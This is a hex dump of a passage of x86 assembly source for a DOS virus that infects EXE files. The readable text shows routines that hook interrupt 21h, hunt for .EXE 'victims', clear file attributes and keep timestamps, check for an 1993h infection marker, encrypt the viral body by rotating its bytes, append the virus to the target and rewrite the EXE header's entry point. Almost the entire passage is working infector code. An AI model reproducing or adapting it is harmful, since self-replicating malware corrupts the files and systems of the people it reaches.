|00002190| 0d 0d 0a 20 20 20 20 20 | 20 20 20 6a 7a 20 72 75 |... | jz ru|
|000021a0| 6e 5f 6b 69 6c 6c 20 20 | 20 20 20 20 20 20 20 20 |n_kill | |
|000021b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000021c0| 20 20 20 20 20 3b 20 20 | 20 65 78 65 63 75 74 69 | ; | executi|
|000021d0| 6f 6e 73 2e 0d 0d 0a 0d | 0d 0a 6c 65 61 76 65 5f |ons.....|..leave_|
|000021e0| 76 69 72 75 73 3a 0d 0d | 0a 20 20 20 20 20 20 20 |virus:..|. |
|000021f0| 20 6a 6d 70 20 64 77 6f | 72 64 20 70 74 72 20 63 | jmp dwo|rd ptr c|
|00002200| 73 3a 5b 64 6f 73 5f 76 | 65 63 74 6f 72 2d 31 30 |s:[dos_v|ector-10|
|00002210| 30 68 5d 0d 0d 0a 0d 0d | 0a 0d 0d 0a 0d 0d 0a 72 |0h].....|.......r|
|00002220| 75 6e 5f 6b 69 6c 6c 3a | 0d 0d 0a 20 20 20 20 20 |un_kill:|... |
|00002230| 20 20 20 63 61 6c 6c 20 | 69 6e 66 65 63 74 65 78 | call |infectex|
|00002240| 65 0d 0d 0a 20 20 20 20 | 20 20 20 20 6a 6d 70 20 |e... | jmp |
|00002250| 6c 65 61 76 65 5f 76 69 | 72 75 73 0d 0d 0a 0d 0d |leave_vi|rus.....|
|00002260| 0a 0d 0d 0a 0d 0d 0a 0d | 0d 0a 0d 0d 0a 69 6e 66 |........|.....inf|
|00002270| 65 63 74 65 78 65 3a 20 | 20 20 20 20 20 20 20 20 |ectexe: | |
|00002280| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002290| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|000022a0| 20 53 61 6d 65 20 6f 6c | 64 20 77 6f 72 6b 69 6e | Same ol|d workin|
|000022b0| 67 20 68 6f 72 73 65 0d | 0d 0a 20 20 20 20 20 20 |g horse.|.. |
|000022c0| 20 20 70 75 73 68 20 61 | 78 20 20 20 20 20 20 20 | push a|x |
|000022d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000022e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 20 20 | | ; |
|000022f0| 72 6f 75 74 69 6e 65 20 | 74 68 61 74 20 69 6e 66 |routine |that inf|
|00002300| 65 63 74 73 0d 0d 0a 20 | 20 20 20 20 20 20 20 70 |ects... | p|
|00002310| 75 73 68 20 62 78 20 20 | 20 20 20 20 20 20 20 20 |ush bx | |
|00002320| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002330| 20 20 20 20 20 20 20 20 | 20 3b 20 20 20 74 68 65 | | ; the|
|00002340| 20 73 65 6c 65 63 74 65 | 64 20 66 69 6c 65 2e 0d | selecte|d file..|
|00002350| 0d 0a 20 20 20 20 20 20 | 20 20 70 75 73 68 20 63 |.. | push c|
|00002360| 78 0d 0d 0a 20 20 20 20 | 20 20 20 20 70 75 73 68 |x... | push|
|00002370| 20 65 73 0d 0d 0a 20 20 | 20 20 20 20 20 20 70 75 | es... | pu|
|00002380| 73 68 20 64 78 0d 0d 0a | 20 20 20 20 20 20 20 20 |sh dx...| |
|00002390| 70 75 73 68 20 64 73 0d | 0d 0a 0d 0d 0a 0d 0d 0a |push ds.|........|
|000023a0| 0d 0d 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 63 |... | mov c|
|000023b0| 78 2c 36 34 64 0d 0d 0a | 20 20 20 20 20 20 20 20 |x,64d...| |
|000023c0| 6d 6f 76 20 62 78 2c 64 | 78 0d 0d 0a 0d 0d 0a 66 |mov bx,d|x......f|
|000023d0| 69 6e 64 6e 61 6d 65 3a | 0d 0d 0a 20 20 20 20 20 |indname:|... |
|000023e0| 20 20 20 63 6d 70 20 62 | 79 74 65 20 70 74 72 20 | cmp b|yte ptr |
|000023f0| 64 73 3a 5b 62 78 5d 2c | 27 2e 27 0d 0d 0a 20 20 |ds:[bx],|'.'... |
|00002400| 20 20 20 20 20 20 6a 7a | 20 6f 5f 6b 0d 0d 0a 20 | jz| o_k... |
|00002410| 20 20 20 20 20 20 20 69 | 6e 63 20 62 78 0d 0d 0a | i|nc bx...|
|00002420| 20 20 20 20 20 20 20 20 | 6c 6f 6f 70 20 66 69 6e | |loop fin|
|00002430| 64 6e 61 6d 65 0d 0d 0a | 0d 0d 0a 70 72 65 5f 67 |dname...|...pre_g|
|00002440| 65 74 5f 6f 75 74 3a 0d | 0d 0a 20 20 20 20 20 20 |et_out:.|.. |
|00002450| 20 20 6a 6d 70 20 67 65 | 74 5f 6f 75 74 0d 0d 0a | jmp ge|t_out...|
|00002460| 0d 0d 0a 6f 5f 6b 3a 0d | 0d 0a 20 20 20 20 20 20 |...o_k:.|.. |
|00002470| 20 20 63 6d 70 20 62 79 | 74 65 20 70 74 72 20 64 | cmp by|te ptr d|
|00002480| 73 3a 5b 62 78 2b 31 5d | 2c 27 45 27 20 20 20 20 |s:[bx+1]|,'E' |
|00002490| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 53 65 | | ; Se|
|000024a0| 61 72 63 68 65 73 20 66 | 6f 72 20 76 69 63 74 69 |arches f|or victi|
|000024b0| 6d 73 2e 0d 0d 0a 20 20 | 20 20 20 20 20 20 6a 6e |ms.... | jn|
|000024c0| 7a 20 70 72 65 5f 67 65 | 74 5f 6f 75 74 0d 0d 0a |z pre_ge|t_out...|
|000024d0| 20 20 20 20 20 20 20 20 | 63 6d 70 20 62 79 74 65 | |cmp byte|
|000024e0| 20 70 74 72 20 64 73 3a | 5b 62 78 2b 32 5d 2c 27 | ptr ds:|[bx+2],'|
|000024f0| 58 27 0d 0d 0a 20 20 20 | 20 20 20 20 20 6a 6e 7a |X'... | jnz|
|00002500| 20 70 72 65 5f 67 65 74 | 5f 6f 75 74 0d 0d 0a 20 | pre_get|_out... |
|00002510| 20 20 20 20 20 20 20 63 | 6d 70 20 62 79 74 65 20 | c|mp byte |
|00002520| 70 74 72 20 64 73 3a 5b | 62 78 2b 33 5d 2c 27 45 |ptr ds:[|bx+3],'E|
|00002530| 27 0d 0d 0a 20 20 20 20 | 20 20 20 20 6a 6e 7a 20 |'... | jnz |
|00002540| 70 72 65 5f 67 65 74 5f | 6f 75 74 0d 0d 0a 0d 0d |pre_get_|out.....|
|00002550| 0a 0d 0d 0a 0d 0d 0a 0d | 0d 0a 67 65 74 65 78 65 |........|..getexe|
|00002560| 3a 0d 0d 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |:... | mov |
|00002570| 61 78 2c 34 33 30 30 68 | 0d 0d 0a 20 20 20 20 20 |ax,4300h|... |
|00002580| 20 20 20 63 61 6c 6c 20 | 64 6f 73 69 74 0d 0d 0a | call |dosit...|
|00002590| 0d 0d 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 77 |... | mov w|
|000025a0| 6f 72 64 20 70 74 72 20 | 63 73 3a 5b 65 78 65 5f |ord ptr |cs:[exe_|
|000025b0| 61 74 74 72 69 62 2d 31 | 30 30 68 5d 2c 63 78 0d |attrib-1|00h],cx.|
|000025c0| 0d 0a 0d 0d 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |..... | mov|
|000025d0| 20 61 78 2c 34 33 30 31 | 68 0d 0d 0a 20 20 20 20 | ax,4301|h... |
|000025e0| 20 20 20 20 78 6f 72 20 | 63 78 2c 63 78 0d 0d 0a | xor |cx,cx...|
|000025f0| 20 20 20 20 20 20 20 20 | 63 61 6c 6c 20 64 6f 73 | |call dos|
|00002600| 69 74 0d 0d 0a 0d 0d 0a | 65 78 65 5f 6b 69 6c 6c |it......|exe_kill|
|00002610| 3a 0d 0d 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |:... | mov |
|00002620| 61 78 2c 33 64 30 32 68 | 0d 0d 0a 20 20 20 20 20 |ax,3d02h|... |
|00002630| 20 20 20 63 61 6c 6c 20 | 64 6f 73 69 74 0d 0d 0a | call |dosit...|
|00002640| 20 20 20 20 20 20 20 20 | 78 63 68 67 20 62 78 2c | |xchg bx,|
|00002650| 61 78 0d 0d 0a 0d 0d 0a | 20 20 20 20 20 20 20 20 |ax......| |
|00002660| 6d 6f 76 20 61 78 2c 35 | 37 30 30 68 0d 0d 0a 20 |mov ax,5|700h... |
|00002670| 20 20 20 20 20 20 20 63 | 61 6c 6c 20 64 6f 73 69 | c|all dosi|
|00002680| 74 0d 0d 0a 0d 0d 0a 20 | 20 20 20 20 20 20 20 6d |t...... | m|
|00002690| 6f 76 20 77 6f 72 64 20 | 70 74 72 20 63 73 3a 5b |ov word |ptr cs:[|
|000026a0| 74 69 6d 65 5f 73 74 61 | 6d 70 2d 31 30 30 68 5d |time_sta|mp-100h]|
|000026b0| 2c 63 78 0d 0d 0a 20 20 | 20 20 20 20 20 20 6d 6f |,cx... | mo|
|000026c0| 76 20 77 6f 72 64 20 70 | 74 72 20 63 73 3a 5b 64 |v word p|tr cs:[d|
|000026d0| 61 74 65 5f 73 74 61 6d | 70 2d 31 30 30 68 5d 2c |ate_stam|p-100h],|
|000026e0| 64 78 0d 0d 0a 0d 0d 0a | 0d 0d 0a 0d 0d 0a 20 20 |dx......|...... |
|000026f0| 20 20 20 20 20 20 70 75 | 73 68 20 63 73 0d 0d 0a | pu|sh cs...|
|00002700| 20 20 20 20 20 20 20 20 | 70 6f 70 20 64 73 0d 0d | |pop ds..|
|00002710| 0a 0d 0d 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |.... | mov |
|00002720| 61 68 2c 33 66 68 0d 0d | 0a 20 20 20 20 20 20 20 |ah,3fh..|. |
|00002730| 20 6d 6f 76 20 63 78 2c | 31 38 68 0d 0d 0a 20 20 | mov cx,|18h... |
|00002740| 20 20 20 20 20 20 6d 6f | 76 20 64 78 2c 6f 66 66 | mo|v dx,off|
|00002750| 73 65 74 20 62 75 66 66 | 65 72 2d 31 30 30 68 0d |set buff|er-100h.|
|00002760| 0d 0a 20 20 20 20 20 20 | 20 20 63 61 6c 6c 20 64 |.. | call d|
|00002770| 6f 73 69 74 0d 0d 0a 0d | 0d 0a 20 20 20 20 20 20 |osit....|.. |
|00002780| 20 20 63 6d 70 20 77 6f | 72 64 20 70 74 72 20 63 | cmp wo|rd ptr c|
|00002790| 73 3a 5b 62 75 66 66 65 | 72 2b 31 32 68 2d 31 30 |s:[buffe|r+12h-10|
|000027a0| 30 68 5d 2c 31 39 39 33 | 68 20 20 20 3b 20 4c 6f |0h],1993|h ; Lo|
|000027b0| 6f 6b 73 20 66 6f 72 20 | 76 69 72 75 73 20 6d 61 |oks for |virus ma|
|000027c0| 72 6b 65 72 0d 0d 0a 20 | 20 20 20 20 20 20 20 6a |rker... | j|
|000027d0| 6e 7a 20 69 6e 66 65 63 | 74 66 6f 72 73 75 72 65 |nz infec|tforsure|
|000027e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000027f0| 20 20 20 20 20 20 20 20 | 20 3b 20 20 20 6f 66 20 | | ; of |
|00002800| 31 39 39 33 68 20 69 6e | 20 2e 45 58 45 0d 0d 0a |1993h in| .EXE...|
|00002810| 20 20 20 20 20 20 20 20 | 6a 6d 70 20 63 6c 6f 73 | |jmp clos|
|00002820| 65 5f 69 74 20 20 20 20 | 20 20 20 20 20 20 20 20 |e_it | |
|00002830| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002840| 20 20 3b 20 20 20 68 65 | 61 64 65 72 20 63 68 65 | ; he|ader che|
|00002850| 63 6b 73 75 6d 0d 0d 0a | 20 20 20 20 20 20 20 20 |cksum...| |
|00002860| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002870| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002880| 20 20 20 20 20 20 20 20 | 20 20 3b 20 20 20 70 6f | | ; po|
|00002890| 73 69 74 69 6f 6e 2e 0d | 0d 0a 69 6e 66 65 63 74 |sition..|..infect|
|000028a0| 66 6f 72 73 75 72 65 3a | 0d 0d 0a 20 20 20 20 20 |forsure:|... |
|000028b0| 20 20 20 63 61 6c 6c 20 | 6d 6f 76 65 5f 66 5f 70 | call |move_f_p|
|000028c0| 74 72 66 61 72 0d 0d 0a | 0d 0d 0a 20 20 20 20 20 |trfar...|... |
|000028d0| 20 20 20 70 75 73 68 20 | 61 78 0d 0d 0a 20 20 20 | push |ax... |
|000028e0| 20 20 20 20 20 70 75 73 | 68 20 64 78 0d 0d 0a 0d | pus|h dx....|
|000028f0| 0d 0a 0d 0d 0a 20 20 20 | 20 20 20 20 20 63 61 6c |..... | cal|
|00002900| 6c 20 73 74 6f 72 65 5f | 68 65 61 64 65 72 0d 0d |l store_|header..|
|00002910| 0a 0d 0d 0a 20 20 20 20 | 20 20 20 20 70 6f 70 20 |.... | pop |
|00002920| 64 78 0d 0d 0a 20 20 20 | 20 20 20 20 20 70 6f 70 |dx... | pop|
|00002930| 20 61 78 0d 0d 0a 0d 0d | 0a 20 20 20 20 20 20 20 | ax.....|. |
|00002940| 20 63 61 6c 6c 20 69 6e | 66 65 63 74 5f 68 65 61 | call in|fect_hea|
|00002950| 64 65 72 0d 0d 0a 0d 0d | 0a 0d 0d 0a 20 20 20 20 |der.....|.... |
|00002960| 20 20 20 20 70 75 73 68 | 20 62 78 0d 0d 0a 20 20 | push| bx... |
|00002970| 20 20 20 20 20 20 70 75 | 73 68 20 63 78 0d 0d 0a | pu|sh cx...|
|00002980| 20 20 20 20 20 20 20 20 | 70 75 73 68 20 64 78 0d | |push dx.|
|00002990| 0d 0a 0d 0d 0a 0d 0d 0a | 20 20 20 20 20 20 20 20 |........| |
|000029a0| 6d 6f 76 20 62 78 2c 6f | 66 66 73 65 74 20 69 6e |mov bx,o|ffset in|
|000029b0| 66 65 63 74 5f 68 65 61 | 64 65 72 2d 31 30 30 68 |fect_hea|der-100h|
|000029c0| 0d 0d 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 63 |... | mov c|
|000029d0| 78 2c 28 65 6e 64 63 72 | 79 70 74 29 2d 28 69 6e |x,(endcr|ypt)-(in|
|000029e0| 66 65 63 74 5f 68 65 61 | 64 65 72 29 0d 0d 0a 0d |fect_hea|der)....|
|000029f0| 0d 0a 72 6f 6c 5f 65 6d | 3a 20 20 20 20 20 20 20 |..rol_em|: |
|00002a00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002a10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002a20| 20 20 20 20 3b 20 45 6e | 63 72 79 70 74 69 6f 6e | ; En|cryption|
|00002a30| 20 76 69 61 0d 0d 0a 20 | 20 20 20 20 20 20 20 6d | via... | m|
|00002a40| 6f 76 20 64 6c 2c 62 79 | 74 65 20 70 74 72 20 63 |ov dl,by|te ptr c|
|00002a50| 73 3a 5b 62 78 5d 20 20 | 20 20 20 20 20 20 20 20 |s:[bx] | |
|00002a60| 20 20 20 20 20 20 20 20 | 20 3b 20 20 20 72 6f 74 | | ; rot|
|00002a70| 61 74 69 6e 67 20 6c 65 | 66 74 2e 0d 0d 0a 20 20 |ating le|ft.... |
|00002a80| 20 20 20 20 20 20 72 6f | 6c 20 64 6c 2c 31 0d 0d | ro|l dl,1..|
|00002a90| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 20 62 79 74 |. | mov byt|
|00002aa0| 65 20 70 74 72 20 63 73 | 3a 5b 62 78 5d 2c 64 6c |e ptr cs|:[bx],dl|
|00002ab0| 0d 0d 0a 20 20 20 20 20 | 20 20 20 69 6e 63 20 62 |... | inc b|
|00002ac0| 78 0d 0d 0a 20 20 20 20 | 20 20 20 20 6c 6f 6f 70 |x... | loop|
|00002ad0| 20 72 6f 6c 5f 65 6d 0d | 0d 0a 0d 0d 0a 20 20 20 | rol_em.|..... |
|00002ae0| 20 20 20 20 20 70 6f 70 | 20 64 78 0d 0d 0a 20 20 | pop| dx... |
|00002af0| 20 20 20 20 20 20 70 6f | 70 20 63 78 0d 0d 0a 20 | po|p cx... |
|00002b00| 20 20 20 20 20 20 20 70 | 6f 70 20 62 78 0d 0d 0a | p|op bx...|
|00002b10| 0d 0d 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 61 |... | mov a|
|00002b20| 68 2c 34 30 68 0d 0d 0a | 20 20 20 20 20 20 20 20 |h,40h...| |
|00002b30| 6d 6f 76 20 63 78 2c 65 | 6e 64 63 6f 64 65 2d 73 |mov cx,e|ndcode-s|
|00002b40| 74 61 72 74 0d 0d 0a 20 | 20 20 20 20 20 20 20 6d |tart... | m|
|00002b50| 6f 76 20 64 78 2c 6f 66 | 66 73 65 74 20 73 74 61 |ov dx,of|fset sta|
|00002b60| 72 74 2d 31 30 30 68 0d | 0d 0a 20 20 20 20 20 20 |rt-100h.|.. |
|00002b70| 20 20 63 61 6c 6c 20 64 | 6f 73 69 74 0d 0d 0a 0d | call d|osit....|
|00002b80| 0d 0a 0d 0d 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |..... | mov|
|00002b90| 20 77 6f 72 64 20 70 74 | 72 20 63 73 3a 5b 62 75 | word pt|r cs:[bu|
|00002ba0| 66 66 65 72 2b 31 32 68 | 2d 31 30 30 68 5d 2c 31 |ffer+12h|-100h],1|
|00002bb0| 39 39 33 68 0d 0d 0a 0d | 0d 0a 0d 0d 0a 20 20 20 |993h....|..... |
|00002bc0| 20 20 20 20 20 63 61 6c | 6c 20 6d 6f 76 65 5f 66 | cal|l move_f|
|00002bd0| 5f 70 74 72 63 6c 6f 73 | 65 0d 0d 0a 0d 0d 0a 20 |_ptrclos|e...... |
|00002be0| 20 20 20 20 20 20 20 6d | 6f 76 20 61 68 2c 34 30 | m|ov ah,40|
|00002bf0| 68 0d 0d 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |h... | mov |
|00002c00| 63 78 2c 31 38 68 0d 0d | 0a 20 20 20 20 20 20 20 |cx,18h..|. |
|00002c10| 20 6d 6f 76 20 64 78 2c | 6f 66 66 73 65 74 20 62 | mov dx,|offset b|
|00002c20| 75 66 66 65 72 2d 31 30 | 30 68 0d 0d 0a 20 20 20 |uffer-10|0h... |
|00002c30| 20 20 20 20 20 63 61 6c | 6c 20 64 6f 73 69 74 0d | cal|l dosit.|
|00002c40| 0d 0a 0d 0d 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |..... | mov|
|00002c50| 20 61 78 2c 35 37 30 31 | 68 0d 0d 0a 20 20 20 20 | ax,5701|h... |
|00002c60| 20 20 20 20 6d 6f 76 20 | 63 78 2c 77 6f 72 64 20 | mov |cx,word |
|00002c70| 70 74 72 20 63 73 3a 5b | 74 69 6d 65 5f 73 74 61 |ptr cs:[|time_sta|
|00002c80| 6d 70 2d 31 30 30 68 5d | 0d 0d 0a 20 20 20 20 20 |mp-100h]|... |
|00002c90| 20 20 20 6d 6f 76 20 64 | 78 2c 77 6f 72 64 20 70 | mov d|x,word p|
|00002ca0| 74 72 20 63 73 3a 5b 64 | 61 74 65 5f 73 74 61 6d |tr cs:[d|ate_stam|
|00002cb0| 70 2d 31 30 30 68 5d 0d | 0d 0a 20 20 20 20 20 20 |p-100h].|.. |
|00002cc0| 20 20 63 61 6c 6c 20 64 | 6f 73 69 74 0d 0d 0a 0d | call d|osit....|
|00002cd0| 0d 0a 63 6c 6f 73 65 5f | 69 74 3a 0d 0d 0a 0d 0d |..close_|it:.....|
|00002ce0| 0a 0d 0d 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 |.... | mov |
|00002cf0| 61 68 2c 33 65 68 0d 0d | 0a 20 20 20 20 20 20 20 |ah,3eh..|. |
|00002d00| 20 63 61 6c 6c 20 64 6f | 73 69 74 0d 0d 0a 0d 0d | call do|sit.....|
|00002d10| 0a 67 65 74 5f 6f 75 74 | 3a 0d 0d 0a 0d 0d 0a 0d |.get_out|:.......|
|00002d20| 0d 0a 20 20 20 20 20 20 | 20 20 70 6f 70 20 64 73 |.. | pop ds|
|00002d30| 0d 0d 0a 20 20 20 20 20 | 20 20 20 70 6f 70 20 64 |... | pop d|
|00002d40| 78 0d 0d 0a 0d 0d 0a 73 | 65 74 5f 61 74 74 72 69 |x......s|et_attri|
|00002d50| 62 3a 0d 0d 0a 20 20 20 | 20 20 20 20 20 6d 6f 76 |b:... | mov|
|00002d60| 20 61 78 2c 34 33 30 31 | 68 0d 0d 0a 20 20 20 20 | ax,4301|h... |
|00002d70| 20 20 20 20 6d 6f 76 20 | 63 78 2c 77 6f 72 64 20 | mov |cx,word |
|00002d80| 70 74 72 20 63 73 3a 5b | 65 78 65 5f 61 74 74 72 |ptr cs:[|exe_attr|
|00002d90| 69 62 2d 31 30 30 68 5d | 0d 0d 0a 20 20 20 20 20 |ib-100h]|... |
|00002da0| 20 20 20 63 61 6c 6c 20 | 64 6f 73 69 74 0d 0d 0a | call |dosit...|
|00002db0| 0d 0d 0a 0d 0d 0a 20 20 | 20 20 20 20 20 20 70 6f |...... | po|
|00002dc0| 70 20 65 73 0d 0d 0a 20 | 20 20 20 20 20 20 20 70 |p es... | p|
|00002dd0| 6f 70 20 63 78 0d 0d 0a | 20 20 20 20 20 20 20 20 |op cx...| |
|00002de0| 70 6f 70 20 62 78 0d 0d | 0a 20 20 20 20 20 20 20 |pop bx..|. |
|00002df0| 20 70 6f 70 20 61 78 0d | 0d 0a 0d 0d 0a 20 20 20 | pop ax.|..... |
|00002e00| 20 20 20 20 20 72 65 74 | 6e 0d 0d 0a 0d 0d 0a 3b | ret|n......;|
|00002e10| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00002e20| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00002e30| 2d 2d 20 43 61 6c 6c 20 | 74 6f 20 44 4f 53 20 69 |-- Call |to DOS i|
|00002e40| 6e 74 20 32 31 68 20 2d | 2d 2d 2d 2d 2d 2d 2d 2d |nt 21h -|--------|
|00002e50| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 0d 0d 0a 0d |--------|----....|
|00002e60| 0d 0a 64 6f 73 69 74 3a | 20 20 20 20 20 20 20 20 |..dosit:| |
|00002e70| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002e80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00002e90| 20 20 20 20 3b 20 44 4f | 53 20 66 75 6e 63 74 69 | ; DO|S functi|
|00002ea0| 6f 6e 20 63 61 6c 6c 20 | 63 6f 64 65 2e 0d 0d 0a |on call |code....|
|00002eb0| 20 20 20 20 20 20 20 20 | 70 75 73 68 66 0d 0d 0a | |pushf...|
|00002ec0| 20 20 20 20 20 20 20 20 | 63 61 6c 6c 20 64 77 6f | |call dwo|
|00002ed0| 72 64 20 70 74 72 20 63 | 73 3a 5b 64 6f 73 5f 76 |rd ptr c|s:[dos_v|
|00002ee0| 65 63 74 6f 72 2d 31 30 | 30 68 5d 0d 0d 0a 20 20 |ector-10|0h]... |
|00002ef0| 20 20 20 20 20 20 72 65 | 74 6e 0d 0d 0a 0d 0d 0a | re|tn......|
|00002f00| 3b 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |;-------|--------|
|00002f10| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00002f20| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00002f30| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00002f40| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 0d 0d 0a |--------|-----...|
|00002f50| 0d 0d 0a 0d 0d 0a 0d 0d | 0a 0d 0d 0a 0d 0d 0a 0d |........|........|
|00002f60| 0d 0a 0d 0d 0a 0d 0d 0a | 0d 0d 0a 0d 0d 0a 3b 2d |........|......;-|
|00002f70| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00002f80| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 20 |--------|------- |
|00002f90| 53 74 6f 72 65 20 48 65 | 61 64 65 72 20 2d 2d 2d |Store He|ader ---|
|00002fa0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00002fb0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 0d 0d 0a 0d 0d 0a |--------|--......|
|00002fc0| 73 74 6f 72 65 5f 68 65 | 61 64 65 72 3a 0d 0d 0a |store_he|ader:...|
|00002fd0| 20 20 20 20 20 20 20 20 | 6c 65 73 20 20 61 78 2c | |les ax,|
|00002fe0| 20 64 77 6f 72 64 20 70 | 74 72 20 5b 62 75 66 66 | dword p|tr [buff|
|00002ff0| 65 72 2b 31 34 68 2d 31 | 30 30 68 5d 20 20 20 20 |er+14h-1|00h] |
|00003000| 20 20 3b 20 53 61 76 65 | 20 6f 6c 64 20 65 6e 74 | ; Save| old ent|
|00003010| 72 79 20 70 6f 69 6e 74 | 0d 0d 0a 20 20 20 20 20 |ry point|... |
|00003020| 20 20 20 6d 6f 76 20 20 | 77 6f 72 64 20 70 74 72 | mov |word ptr|
|00003030| 20 5b 4f 72 69 67 43 53 | 49 50 2d 31 30 30 68 5d | [OrigCS|IP-100h]|
|00003040| 2c 20 61 78 0d 0d 0a 20 | 20 20 20 20 20 20 20 6d |, ax... | m|
|00003050| 6f 76 20 20 77 6f 72 64 | 20 70 74 72 20 5b 4f 72 |ov word| ptr [Or|
|00003060| 69 67 43 53 49 50 2b 32 | 2d 31 30 30 68 5d 2c 20 |igCSIP+2|-100h], |
|00003070| 65 73 0d 0d 0a 0d 0d 0a | 20 20 20 20 20 20 20 20 |es......| |
|00003080| 6c 65 73 20 20 61 78 2c | 20 64 77 6f 72 64 20 70 |les ax,| dword p|
|00003090| 74 72 20 5b 62 75 66 66 | 65 72 2b 30 45 68 2d 31 |tr [buff|er+0Eh-1|
|000030a0| 30 30 68 5d 20 20 20 20 | 20 20 3b 20 53 61 76 65 |00h] | ; Save|
|000030b0| 20 6f 6c 64 20 73 74 61 | 63 6b 0d 0d 0a 20 20 20 | old sta|ck... |
|000030c0| 20 20 20 20 20 6d 6f 76 | 20 20 77 6f 72 64 20 70 | mov| word p|
|000030d0| 74 72 20 5b 4f 72 69 67 | 53 53 53 50 2d 31 30 30 |tr [Orig|SSSP-100|
|000030e0| 68 5d 2c 20 65 73 0d 0d | 0a 20 20 20 20 20 20 20 |h], es..|. |
|000030f0| 20 6d 6f 76 20 20 77 6f | 72 64 20 70 74 72 20 5b | mov wo|rd ptr [|
|00003100| 4f 72 69 67 53 53 53 50 | 2b 32 2d 31 30 30 68 5d |OrigSSSP|+2-100h]|
|00003110| 2c 20 61 78 0d 0d 0a 0d | 0d 0a 20 20 20 20 20 20 |, ax....|.. |
|00003120| 20 20 72 65 74 6e 0d 0d | 0a 0d 0d 0a 3b 2d 2d 2d | retn..|....;---|
|00003130| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00003140| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00003150| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00003160| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00003170| 2d 2d 2d 2d 2d 2d 2d 2d | 0d 0d 0a 0d 0d 0a 0d 0d |--------|........|
|00003180| 0a 0d 0d 0a 0d 0d 0a 0d | 0d 0a 0d 0d 0a 3b 2d 2d |........|.....;--|
|00003190| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000031a0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000031b0| 20 53 65 74 20 66 69 6c | 65 20 70 6f 69 6e 74 65 | Set fil|e pointe|
|000031c0| 72 20 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |r ------|--------|
|000031d0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 0d 0d 0a 0d 0d 0a |--------|--......|
|000031e0| 6d 6f 76 65 5f 66 5f 70 | 74 72 66 61 72 3a 20 20 |move_f_p|trfar: |
|000031f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003200| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00003210| 20 20 3b 20 43 6f 64 65 | 20 74 6f 20 6d 6f 76 65 | ; Code| to move|
|00003220| 20 66 69 6c 65 20 70 6f | 69 6e 74 65 72 2e 0d 0d | file po|inter...|
|00003230| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 20 61 78 2c |. | mov ax,|
|00003240| 34 32 30 32 68 0d 0d 0a | 20 20 20 20 20 20 20 20 |4202h...| |
|00003250| 6a 6d 70 20 73 68 6f 72 | 74 20 6d 6f 76 65 5f 66 |jmp shor|t move_f|
